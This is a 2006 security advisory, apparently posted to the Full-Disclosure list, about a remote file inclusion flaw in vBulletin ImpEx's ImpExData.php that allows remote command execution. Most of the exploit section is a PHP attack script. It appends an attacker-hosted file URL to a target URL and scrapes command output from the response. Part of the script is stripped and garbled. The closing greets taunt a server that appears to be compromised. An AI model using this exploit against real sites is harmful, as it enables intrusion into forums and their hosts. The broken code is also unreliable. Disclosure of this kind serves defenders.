======================================================================================= XOR Crew :: Security Advisory 3/22/2006 ======================================================================================= vBulletin ImpEx <= 1.74 - Remote Command Execution Vulnerability ======================================================================================= http://www.xorcrew.net/ http://www.xorcrew.net/ReZEN ======================================================================================= :: Summary Vendor : vBulletin Vendor Site : http://www.vbulletin.com/docs/html/impex Product(s) : Impex - vBulletin Import / Export System Version(s) : All Severity : Medium/High Impact : Remote Command Execution Release Date : 3/22/2006 Credits : ReZEN (rezen (a) xorcrew (.) net) ======================================================================================= I. Description The ImpEx (Import / Export) system is the core system for importing from other forum software into vBulletin version 3.5.0 or higher. ======================================================================================= II. Synopsis There is a remote file inclusion vulnerability that allows for remote command execution in the /ImpExData.php file. The bug is here: require_once ($systempath . 'impex/ImpExDatabase.php'); the $systempath variable is not set prior to being used in the require_once() function. The vendor and support team have been contacted. ======================================================================================= Exploit code: -----BEGIN----- " ."turl:

" ."hurl:

" ."cmd:

" ."" ."
"; if (!isset($_POST['submit'])) { echo $form; }else{ $file = fopen ("test.txt", "w+"); fwrite($file, ""); fclose($file); $file = fopen ($turl.$hurl, "r"); if (!$file) { echo "

Unable to get output.\n"; exit; } echo $form; while (!feof ($file)) { $line .= fgets ($file, 1024)."
"; } $tpos1 = strpos($line, "++BEGIN++"); $tpos2 = strpos($line, "++END++"); $tpos1 = $tpos1+strlen("++BEGIN++"); $tpos2 = $tpos2-$tpos1; $output = substr($line, $tpos1, $tpos2); echo $output; } ?> ------END------ ======================================================================================= IV. Greets :> All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend. uh ohs!! + /srv/web/lotfree/ + LOTFREE uid 1010 = Lame Frenchies ======================================================================================= _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/